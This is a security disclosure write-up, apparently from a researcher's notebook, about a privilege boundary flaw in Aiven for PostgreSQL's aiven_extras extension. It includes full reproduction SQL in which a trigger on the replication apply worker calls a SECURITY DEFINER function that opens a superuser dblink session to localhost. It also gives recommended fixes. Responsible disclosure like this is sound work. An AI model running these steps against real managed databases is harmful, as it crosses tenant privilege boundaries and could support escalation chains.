Metadata

• Target: Aiven for PostgreSQL (Tier 2)
• Target Location: Aiven for PostgreSQL
• Target Category: Other
• VRT: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA
• Priority: P3 (Suggested)
• Bug URL: postgres://avnadmin:***@:12741/defaultdb?sslmode=require

---

Title

Authenticated User Can Trigger Superuser dblink Session to Localhost via aiven_extras.pg_alter_subscription_refresh_publication() SECURITY DEFINER Chain

Summary

The aiven_extras.pg_alter_subscription_refresh_publication() SECURITY DEFINER function establishes a full superuser dblink connection to localhost via UNIX socket, bypassing dblink’s security check that normally prevents non-superuser trust-auth connections. Any authenticated avnadmin user can trigger this superuser database session, including from within a logical replication apply worker trigger context.

While the queries executed through this dblink session are currently sanitized, the existence of a customer-triggerable superuser database connection to localhost represents a security boundary violation. The localhost PostgreSQL instance uses trust authentication for UNIX socket connections, and the superuser context satisfies dblink’s superuser() check, creating a confirmed superuser-context network pathway that should not be reachable from customer operations.

Root Cause

pg_alter_subscription_refresh_publication() is SECURITY DEFINER owned by postgres. It constructs a connection string using current_user (which resolves to postgres in the SECDEF context) and connects via aiven_extras.dblink_record_execute():

-- From pg_alter_subscription_refresh_publication (SECURITY DEFINER):
PERFORM aiven_extras.dblink_record_execute(
 pg_catalog.format('user=%L dbname=%L port=%L',
 current_user, -- resolves to 'postgres' (SECDEF owner)
 pg_catalog.current_database(),
 (SELECT setting FROM pg_catalog.pg_settings WHERE name = 'port')),
 pg_catalog.format('ALTER SUBSCRIPTION %I REFRESH PUBLICATION WITH (copy_data=%s)',
 arg_subscription_name, arg_copy_data::TEXT)
);

The resulting connection string is user='postgres' dbname='defaultdb' port='12741', no host parameter, so libpq connects via UNIX socket. The UNIX socket connection uses trust/peer authentication for the postgres user, and dblink’s security check passes because current_user is postgres (superuser) within the SECDEF context.

Steps to Reproduce

Prerequisites

• Aiven for PostgreSQL instance (any plan)
• avnadmin credentials

Step 1: Create subscription infrastructure

CREATE EXTENSION IF NOT EXISTS aiven_extras;
CREATE EXTENSION IF NOT EXISTS dblink;
CREATE TABLE pub_table(id serial, val text);
CREATE TABLE loot(id serial, data text, ts timestamp default now());

SELECT aiven_extras.pg_create_publication('pub1', 'insert', 'public.pub_table');
SELECT pg_create_logical_replication_slot('slot1', 'pgoutput');

SELECT aiven_extras.pg_create_subscription(
 'sub1',
 format('host=<HOST> port=<PORT> dbname=defaultdb user=avnadmin password=<PW> sslmode=require'),
 'pub1', 'slot1', false, false
);

Step 2: Demonstrate the superuser dblink connection succeeds

-- This function call establishes a superuser dblink session to localhost.
-- If it returns without error, the connection was established and the
-- ALTER SUBSCRIPTION command was executed as postgres.
SELECT aiven_extras.pg_alter_subscription_refresh_publication('sub1', false);
-- Returns: (void) - SUCCESS

Step 3: Prove this works from within an apply worker trigger

CREATE OR REPLACE FUNCTION chain_test_trigger() RETURNS trigger AS $$
BEGIN
 INSERT INTO public.loot(data) VALUES ('cu=' || current_user || ' su=' || session_user);

 BEGIN
 PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub1', false);
 INSERT INTO public.loot(data) VALUES ('SECDEF dblink chain: SUCCEEDED from apply worker');
 EXCEPTION WHEN OTHERS THEN
 INSERT INTO public.loot(data) VALUES ('chain: ' || SQLERRM);
 END;

 RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER trg_chain BEFORE INSERT ON pub_table
FOR EACH ROW EXECUTE FUNCTION chain_test_trigger();
ALTER TABLE pub_table ENABLE ALWAYS TRIGGER trg_chain;

SELECT aiven_extras.pg_alter_subscription_enable('sub1');
INSERT INTO pub_table(val) VALUES ('chain test');
SELECT pg_sleep(3);
SELECT id, data FROM loot ORDER BY id;

Output:

 id | data
----+-----------------------------------------------------------
 1 | cu=avnadmin su=avnadmin
 2 | SECDEF dblink chain: SUCCEEDED from apply worker
 3 | cu=avnadmin su=postgres
 4 | SECDEF dblink chain: SUCCEEDED from apply worker

Step 4: Confirm direct dblink as postgres is blocked (proving the SECDEF bypass)

-- Direct dblink to localhost as postgres FAILS for non-superuser:
SELECT * FROM aiven_extras.dblink_record_execute(
 'user=postgres dbname=defaultdb port=12741',
 'SELECT 1'
) AS t(i int);
-- ERROR: password or GSSAPI delegated credentials required

-- But the same connection SUCCEEDS through the SECDEF chain (Step 2).

Evidence

Method	Connection	Result
Direct dblink_record_execute as avnadmin	user=postgres via UNIX socket	BLOCKED: password or GSSAPI delegated credentials required
Via pg_alter_subscription_refresh_publication SECDEF	Same connection string	SUCCEEDS: superuser dblink session established
From apply worker trigger context	Calling SECDEF from trigger	SUCCEEDS: superuser dblink session established

The difference is that the SECDEF function runs as postgres, which satisfies dblink’s superuser() check. This bypasses the security restriction that is specifically designed to prevent non-superuser users from making trust-auth database connections.

Impact

1. Superuser-context network access: A customer-triggerable code path establishes a postgres superuser database connection to localhost. This connection has full superuser privileges on the PostgreSQL instance.

2. Trust authentication bypass: dblink’s security check (requiring password authentication for non-superuser connections) is bypassed because the SECDEF function elevates to postgres before making the connection.

3. Attack surface expansion: The superuser dblink session currently executes only a fixed ALTER SUBSCRIPTION REFRESH PUBLICATION query. However, any future modification to the aiven_extras code that introduces an injectable parameter in this chain would immediately enable arbitrary superuser SQL execution on the managed instance.

4. Composability with subscription ownership: Combined with the subscription ownership escalation (separate report), a customer can: (a) create a postgres-owned subscription, (b) use ALWAYS triggers in the apply worker context, (c) call this SECDEF function from within the trigger, establishing a superuser dblink within customer-controlled code flow.

Recommended Fix

1. Use session_user or current_user at call time instead of the SECDEF owner for the dblink connection:

-- Store the original caller before SECDEF elevation:
DECLARE l_caller TEXT := session_user;
-- Use l_caller in the connection string instead of current_user

2. Alternatively, have pg_alter_subscription_refresh_publication execute via dblink_record_execute connecting as avnadmin (the calling user) rather than postgres, eliminating the superuser dblink session entirely.

3. Defense in depth: Ensure the pg_hba.conf local entry for the postgres user requires certificate or password authentication, not trust/peer, to prevent any SECDEF function from establishing passwordless superuser connections.

Cleanup

SELECT aiven_extras.pg_alter_subscription_disable('sub1');
SELECT aiven_extras.pg_drop_subscription('sub1', true);
DROP TABLE pub_table CASCADE;
DROP TABLE loot;

---

Source · github.com/zionsworking/security-research-notebook · writeups/aiven/pg-secdef-dblink-superuser-chain.md